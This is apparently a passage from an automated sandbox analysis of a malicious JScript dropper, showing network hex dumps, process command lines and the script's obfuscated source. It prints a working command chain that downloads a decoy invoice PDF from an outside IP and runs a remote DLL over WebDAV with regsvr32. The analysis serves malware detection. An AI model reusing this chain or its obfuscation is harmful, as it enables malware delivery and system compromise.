Jan 10, 2025 17:54:21.699482918 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:54:21.699496031 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 17:54:21.699501991 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 17:54:21.699518919 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 17:54:21.699531078 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 17:54:21.699548006 CET	672	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 17:54:21.699565887 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 17:54:21.699579000 CET	1116	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 17:54:21.699636936 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 10, 2025 17:54:21.704461098 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49712	193.143.1.205	8888	5760	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:54:23.620527029 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:54:24.450109959 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:54:24 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	11:54:16
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9751253252198928098.js"
Imagebase:	0x7ff719d10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:54:16
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll
Imagebase:	0x7ff79ffd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:54:16
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:54:16
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff63c0a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:54:22
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff77b230000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:54:22
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff79ffd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:54:22
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff62cd80000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:54:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff763240000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:54:23
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7d3e90000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:54:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1780,i,13744911955048953528,6005344510922911637,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff763240000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function mnpty() {	mnpty() ➔ undefined
1	vmdateanc = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kdoioi = this[hpxin + kvgdwsgg + qafvorxk + saizj + eekblxxg + auyovph + tgynlij + inzgk] ( this[krjtg + wczjzwo + ttauvi + qafvorxk + ibqinn + hpxin + inzgk][pugxpbq + qafvorxk + eekblxxg + kvgdwsgg + inzgk + eekblxxg + ivvksg + arugron + pddxzea + eekblxxg + ttauvi + inzgk] ( krjtg + wczjzwo + ttauvi + qafvorxk + ibqinn + hpxin + inzgk + uyoymyg + wczjzwo + yrhhwgci + eekblxxg + paswdhpx + paswdhpx ) [mklxoz + eekblxxg + lamhef + mklxoz + eekblxxg + kvgdwsgg + ywesnju] ( rcygt + drxlp + uirblq + lyzakylp + wblohhgr + pugxpbq + djxht + mklxoz + mklxoz + uirblq + enmeoic + uxijch + wblohhgr + djxht + wczjzwo + uirblq + mklxoz + bxrblr + pugxpbq + wozcm + tgynlij + inzgk + qafvorxk + wozcm + paswdhpx + vpnmm + zmuutg + kvgdwsgg + tgynlij + eekblxxg + paswdhpx + bxrblr + auyovph + tgynlij + inzgk + eekblxxg + qafvorxk + tgynlij + kvgdwsgg + inzgk + ibqinn + wozcm + tgynlij + kvgdwsgg + paswdhpx + bxrblr + swlddyf + wozcm + ttauvi + kvgdwsgg + paswdhpx + eekblxxg ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qxhsg = 0 ; qxhsg < vmdateanc[paswdhpx + eekblxxg + tgynlij + lamhef + inzgk + yrhhwgci] ; ++ qxhsg )
4	{
5	if ( kdoioi == vmdateanc[qxhsg] )
6	{
7	kdoioi = true;
8	break ;
9	}
10	}
11	if ( kdoioi !== true )
12	this[krjtg + wczjzwo + ttauvi + qafvorxk + ibqinn + hpxin + inzgk][stucml + zqyso + ibqinn + inzgk] ( );
13	this[krjtg + wczjzwo + ttauvi + qafvorxk + ibqinn + hpxin + inzgk][pugxpbq + qafvorxk + eekblxxg + kvgdwsgg + inzgk + eekblxxg + ivvksg + arugron + pddxzea + eekblxxg + ttauvi + inzgk] ( krjtg + wczjzwo + ttauvi + qafvorxk + ibqinn + hpxin + inzgk + uyoymyg + wczjzwo + yrhhwgci + eekblxxg + paswdhpx + paswdhpx ) [qafvorxk + zqyso + tgynlij] ( ttauvi + ncjfhof + ywesnju + vpnmm + ysovrn + ttauvi + vpnmm + hpxin + wozcm + zaqxtyzlq + eekblxxg + qafvorxk + saizj + yrhhwgci + eekblxxg + paswdhpx + paswdhpx + uyoymyg + eekblxxg + eanzu + eekblxxg + vpnmm + cajel + pugxpbq + wozcm + ncjfhof + ncjfhof + kvgdwsgg + tgynlij + ywesnju + vpnmm + vjdlnzydu + auyovph + tgynlij + yytps + wozcm + ujhstk + eekblxxg + cajel + krjtg + eekblxxg + arugron + mklxoz + eekblxxg + luchxth + zqyso + eekblxxg + saizj + inzgk + vpnmm + cajel + ivvksg + zqyso + inzgk + ctczgpky + ibqinn + paswdhpx + eekblxxg + vpnmm + srhknft + inzgk + eekblxxg + ncjfhof + hpxin + srhknft + bxrblr + ibqinn + tgynlij + yytps + wozcm + ibqinn + ttauvi + eekblxxg + uyoymyg + hpxin + ywesnju + gdliwbhmm + vpnmm + yrhhwgci + inzgk + inzgk + hpxin + wezecgxct + ysovrn + ysovrn + whmyad + pihmmm + qadhjkwuf + uyoymyg + whmyad + jeuvicaz + qadhjkwuf + uyoymyg + whmyad + uyoymyg + xyrcr + rqbmxgd + xzikxuw + ysovrn + ibqinn + tgynlij + yytps + wozcm + ibqinn + ttauvi + eekblxxg + uyoymyg + hpxin + yrhhwgci + hpxin + vjdlnzydu + jqjwyzf + jqjwyzf + saizj + inzgk + kvgdwsgg + qafvorxk + inzgk + vpnmm + srhknft + inzgk + eekblxxg + ncjfhof + hpxin + srhknft + bxrblr + ibqinn + tgynlij + yytps + wozcm + ibqinn + ttauvi + eekblxxg + uyoymyg + hpxin + ywesnju + gdliwbhmm + jqjwyzf + jqjwyzf + ttauvi + ncjfhof + ywesnju + vpnmm + ysovrn + ttauvi + vpnmm + tgynlij + eekblxxg + inzgk + vpnmm + zqyso + saizj + eekblxxg + vpnmm + bxrblr + bxrblr + whmyad + pihmmm + qadhjkwuf + uyoymyg + whmyad + jeuvicaz + qadhjkwuf + uyoymyg + whmyad + uyoymyg + xyrcr + rqbmxgd + xzikxuw + rdntwfaj + wrvtbdayu + wrvtbdayu + wrvtbdayu + wrvtbdayu + bxrblr + ywesnju + kvgdwsgg + yytps + zaqxtyzlq + zaqxtyzlq + zaqxtyzlq + qafvorxk + wozcm + wozcm + inzgk + bxrblr + jqjwyzf + jqjwyzf + ttauvi + ncjfhof + ywesnju + vpnmm + ysovrn + ttauvi + vpnmm + qafvorxk + eekblxxg + lamhef + saizj + yytps + qafvorxk + qadhjkwuf + xyrcr + vpnmm + ysovrn + saizj + vpnmm + bxrblr + bxrblr + whmyad + pihmmm + qadhjkwuf + uyoymyg + whmyad + jeuvicaz + qadhjkwuf + uyoymyg + whmyad + uyoymyg + xyrcr + rqbmxgd + xzikxuw + rdntwfaj + wrvtbdayu + wrvtbdayu + wrvtbdayu + wrvtbdayu + bxrblr + ywesnju + kvgdwsgg + yytps + zaqxtyzlq + zaqxtyzlq + zaqxtyzlq + qafvorxk + wozcm + wozcm + inzgk + bxrblr + qadhjkwuf + wrvtbdayu + jeuvicaz + whmyad + whmyad + mzccg + whmyad + whmyad + jeuvicaz + whmyad + jeuvicaz + pihmmm + mzccg + wrvtbdayu + uyoymyg + ywesnju + paswdhpx + paswdhpx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll",0,false) ➔ 0
14	}
15	enmeoic = "N";
16	enmeoic = "V";
17	enmeoic = "B";
18	enmeoic = "b";
19	enmeoic = "L";
20	enmeoic = "q";
21	enmeoic = "x";
22	enmeoic = "B";
23	enmeoic = "X";
24	enmeoic = "l";
25	enmeoic = "H";
26	enmeoic = "g";
27	enmeoic = "i";
28	enmeoic = "P";
29	enmeoic = "l";
30	enmeoic = "W";
31	enmeoic = "A";
32	enmeoic = "O";
33	enmeoic = "i";
34	enmeoic = "c";
35	enmeoic = "G";
36	enmeoic = "a";
37	enmeoic = "V";
38	enmeoic = "m";
39	enmeoic = "Q";
40	enmeoic = "x";
41	enmeoic = "G";
42	enmeoic = "R";
43	enmeoic = "d";
44	enmeoic = "P";
45	enmeoic = "P";
46	enmeoic = "V";
47	enmeoic = "d";
48	enmeoic = "p";
49	enmeoic = "n";
50	enmeoic = "p";
51	enmeoic = "O";
52	enmeoic = "N";
53	enmeoic = "g";
54	enmeoic = "g";
55	enmeoic = "P";
56	enmeoic = "N";
57	enmeoic = "i";
58	enmeoic = "G";
59	enmeoic = "N";
60	pugxpbq = "I";
61	pugxpbq = "L";
62	pugxpbq = "t";
63	pugxpbq = "w";
64	pugxpbq = "U";
65	pugxpbq = "p";
66	pugxpbq = "O";
67	pugxpbq = "u";
68	pugxpbq = "W";
69	pugxpbq = "H";
70	pugxpbq = "s";
71	pugxpbq = "S";
72	pugxpbq = "I";
73	pugxpbq = "u";
74	pugxpbq = "f";
75	pugxpbq = "R";
76	pugxpbq = "B";
77	pugxpbq = "S";
78	pugxpbq = "V";
79	pugxpbq = "g";
80	pugxpbq = "c";
81	pugxpbq = "h";
82	pugxpbq = "G";
83	pugxpbq = "y";
84	pugxpbq = "j";
85	pugxpbq = "S";
86	pugxpbq = "l";
87	pugxpbq = "j";
88	pugxpbq = "F";
89	pugxpbq = "p";
90	pugxpbq = "I";
91	pugxpbq = "o";
92	pugxpbq = "J";
93	pugxpbq = "m";
94	pugxpbq = "q";
95	pugxpbq = "z";
96	pugxpbq = "W";
97	pugxpbq = "M";
98	pugxpbq = "s";
99	pugxpbq = "e";
100	pugxpbq = "D";
101	pugxpbq = "s";
102	pugxpbq = "C";
103	ivvksg = "i";
104	ivvksg = "b";
105	ivvksg = "h";
106	ivvksg = "H";
107	ivvksg = "G";
108	ivvksg = "b";
109	ivvksg = "h";
110	ivvksg = "O";
111	ivvksg = "S";
112	ivvksg = "h";
113	ivvksg = "r";
114	ivvksg = "V";
115	ivvksg = "g";
116	ivvksg = "O";
117	whmyad = "k";
118	whmyad = "i";
119	whmyad = "U";
120	whmyad = "M";
121	whmyad = "a";
122	whmyad = "g";
123	whmyad = "n";
124	whmyad = "e";
125	whmyad = "s";
126	whmyad = "w";
127	whmyad = "v";
128	whmyad = "S";
129	whmyad = "W";
130	whmyad = "i";
131	whmyad = "p";
132	whmyad = "T";
133	whmyad = "1";
134	ncjfhof = "D";
135	ncjfhof = "i";
136	ncjfhof = "b";
137	ncjfhof = "n";
138	ncjfhof = "J";
139	ncjfhof = "M";
140	ncjfhof = "f";
141	ncjfhof = "W";
142	ncjfhof = "W";
143	ncjfhof = "u";
144	ncjfhof = "V";
145	ncjfhof = "Y";
146	ncjfhof = "d";
147	ncjfhof = "V";
148	ncjfhof = "C";
149	ncjfhof = "I";
150	ncjfhof = "Y";
151	ncjfhof = "w";
152	ncjfhof = "E";
153	ncjfhof = "Z";
154	ncjfhof = "c";
155	ncjfhof = "T";
156	ncjfhof = "w";
157	ncjfhof = "f";
158	ncjfhof = "G";
159	ncjfhof = "C";
160	ncjfhof = "K";
161	ncjfhof = "d";
162	ncjfhof = "M";
163	ncjfhof = "f";
164	ncjfhof = "S";
165	ncjfhof = "m";
166	swlddyf = "H";
167	swlddyf = "L";
168	luchxth = "Q";
169	luchxth = "E";
170	luchxth = "H";
171	luchxth = "t";
172	luchxth = "Y";
173	luchxth = "W";
174	luchxth = "V";
175	luchxth = "v";
176	luchxth = "U";
177	luchxth = "p";
178	luchxth = "R";
179	luchxth = "J";
180	luchxth = "p";
181	luchxth = "H";
182	luchxth = "J";
183	luchxth = "o";
184	luchxth = "x";
185	luchxth = "s";
186	luchxth = "d";
187	luchxth = "x";
188	luchxth = "Q";
189	luchxth = "s";
190	luchxth = "q";
191	luchxth = "a";
192	luchxth = "a";
193	luchxth = "z";
194	luchxth = "o";
195	luchxth = "O";
196	luchxth = "v";
197	luchxth = "n";
198	luchxth = "J";
199	luchxth = "d";
200	luchxth = "q";
201	krjtg = "O";
202	krjtg = "d";
203	krjtg = "t";
204	krjtg = "q";
205	krjtg = "J";
206	krjtg = "V";
207	krjtg = "Y";
208	krjtg = "E";
209	krjtg = "d";
210	krjtg = "B";
211	krjtg = "z";
212	krjtg = "C";
213	krjtg = "o";
214	krjtg = "Z";
215	krjtg = "v";
216	krjtg = "G";
217	krjtg = "e";
218	krjtg = "T";
219	krjtg = "Q";
220	krjtg = "p";
221	krjtg = "b";
222	krjtg = "v";
223	krjtg = "L";
224	krjtg = "W";
225	krjtg = "y";
226	krjtg = "y";
227	krjtg = "U";
228	krjtg = "H";
229	krjtg = "D";
230	krjtg = "y";
231	krjtg = "K";
232	krjtg = "M";
233	krjtg = "v";
234	krjtg = "l";
235	krjtg = "W";
236	qadhjkwuf = "L";
237	qadhjkwuf = "3";
238	eekblxxg = "J";
239	eekblxxg = "n";
240	eekblxxg = "C";
241	eekblxxg = "Y";
242	eekblxxg = "J";
243	eekblxxg = "E";
244	eekblxxg = "v";
245	eekblxxg = "t";
246	eekblxxg = "F";
247	eekblxxg = "j";
248	eekblxxg = "C";
249	eekblxxg = "N";
250	eekblxxg = "E";
251	eekblxxg = "U";
252	eekblxxg = "P";
253	eekblxxg = "k";
254	eekblxxg = "T";
255	eekblxxg = "b";
256	eekblxxg = "e";
257	saizj = "k";
258	saizj = "Q";
259	saizj = "z";
260	saizj = "x";
261	saizj = "g";
262	saizj = "n";
263	saizj = "J";
264	saizj = "y";
265	saizj = "B";
266	saizj = "l";
267	saizj = "r";
268	saizj = "s";
269	wozcm = "g";
270	wozcm = "c";
271	wozcm = "a";
272	wozcm = "h";
273	wozcm = "i";
274	wozcm = "j";
275	wozcm = "p";
276	wozcm = "Y";
277	wozcm = "A";
278	wozcm = "Z";
279	wozcm = "n";
280	wozcm = "H";
281	wozcm = "N";
282	wozcm = "S";
283	wozcm = "e";
284	wozcm = "m";
285	wozcm = "I";
286	wozcm = "A";
287	wozcm = "c";
288	wozcm = "f";
289	wozcm = "s";
290	wozcm = "n";
291	wozcm = "Y";
292	wozcm = "G";
293	wozcm = "k";
294	wozcm = "e";
295	wozcm = "I";
296	wozcm = "P";
297	wozcm = "o";
298	djxht = "O";
299	djxht = "N";
300	djxht = "o";
301	djxht = "M";
302	djxht = "M";
303	djxht = "t";
304	djxht = "i";
305	djxht = "G";
306	djxht = "f";
307	djxht = "A";
308	djxht = "U";
309	djxht = "X";
310	djxht = "x";
311	djxht = "q";
312	djxht = "X";
313	djxht = "t";
314	djxht = "Y";
315	djxht = "q";
316	djxht = "h";
317	djxht = "j";
318	djxht = "V";
319	djxht = "p";
320	djxht = "z";
321	djxht = "X";
322	djxht = "V";
323	djxht = "k";
324	djxht = "q";
325	djxht = "K";
326	djxht = "P";
327	djxht = "p";
328	djxht = "z";
329	djxht = "R";
330	djxht = "b";
331	djxht = "I";
332	djxht = "w";
333	djxht = "U";
334	djxht = "Z";
335	djxht = "i";
336	djxht = "U";
337	rcygt = "K";
338	rcygt = "I";
339	rcygt = "i";
340	rcygt = "r";
341	rcygt = "J";
342	rcygt = "N";
343	rcygt = "S";
344	rcygt = "I";
345	rcygt = "W";
346	rcygt = "m";
347	rcygt = "l";
348	rcygt = "j";
349	rcygt = "j";
350	rcygt = "l";
351	rcygt = "W";
352	rcygt = "D";
353	rcygt = "s";
354	rcygt = "L";
355	rcygt = "o";
356	rcygt = "g";
357	rcygt = "Q";
358	rcygt = "B";
359	rcygt = "R";
360	rcygt = "o";
361	rcygt = "L";
362	rcygt = "S";
363	rcygt = "r";
364	rcygt = "O";
365	rcygt = "t";
366	rcygt = "L";
367	rcygt = "J";
368	rcygt = "A";
369	rcygt = "F";
370	rcygt = "y";
371	rcygt = "d";
372	rcygt = "H";
373	mzccg = "J";
374	mzccg = "p";
375	mzccg = "p";
376	mzccg = "w";
377	mzccg = "t";
378	mzccg = "Y";
379	mzccg = "t";
380	mzccg = "7";
381	qafvorxk = "X";
382	qafvorxk = "u";
383	qafvorxk = "Q";
384	qafvorxk = "q";
385	qafvorxk = "G";
386	qafvorxk = "t";
387	qafvorxk = "l";
388	qafvorxk = "I";
389	qafvorxk = "W";
390	qafvorxk = "o";
391	qafvorxk = "y";
392	qafvorxk = "T";
393	qafvorxk = "h";
394	qafvorxk = "e";
395	qafvorxk = "s";
396	qafvorxk = "n";
397	qafvorxk = "s";
398	qafvorxk = "r";
399	uyoymyg = "W";
400	uyoymyg = "X";
401	uyoymyg = "l";
402	uyoymyg = "l";
403	uyoymyg = "p";
404	uyoymyg = "h";
405	uyoymyg = "r";
406	uyoymyg = "G";
407	uyoymyg = "T";
408	uyoymyg = "V";
409	uyoymyg = "a";
410	uyoymyg = "v";
411	uyoymyg = "d";
412	uyoymyg = "i";
413	uyoymyg = "r";
414	uyoymyg = "L";
415	uyoymyg = "i";
416	uyoymyg = "c";
417	uyoymyg = "O";
418	uyoymyg = "u";
419	uyoymyg = "L";
420	uyoymyg = "M";
421	uyoymyg = "Z";
422	uyoymyg = "V";
423	uyoymyg = "h";
424	uyoymyg = "g";
425	uyoymyg = "q";
426	uyoymyg = "N";
427	uyoymyg = "N";
428	uyoymyg = "I";
429	uyoymyg = "r";
430	uyoymyg = "C";
431	uyoymyg = ".";
432	mklxoz = "U";
433	mklxoz = "y";
434	mklxoz = "j";
435	mklxoz = "n";
436	mklxoz = "S";
437	mklxoz = "Y";
438	mklxoz = "g";
439	mklxoz = "p";
440	mklxoz = "I";
441	mklxoz = "b";
442	mklxoz = "s";
443	mklxoz = "R";
444	arugron = "t";
445	arugron = "m";
446	arugron = "y";
447	arugron = "Q";
448	arugron = "T";
449	arugron = "Q";
450	arugron = "v";
451	arugron = "k";
452	arugron = "W";
453	arugron = "c";
454	arugron = "K";
455	arugron = "S";
456	arugron = "Y";
457	arugron = "X";
458	arugron = "j";
459	arugron = "V";
460	arugron = "D";
461	arugron = "V";
462	arugron = "a";
463	arugron = "y";
464	arugron = "C";
465	arugron = "H";
466	arugron = "D";
467	arugron = "C";
468	arugron = "N";
469	arugron = "N";
470	arugron = "l";
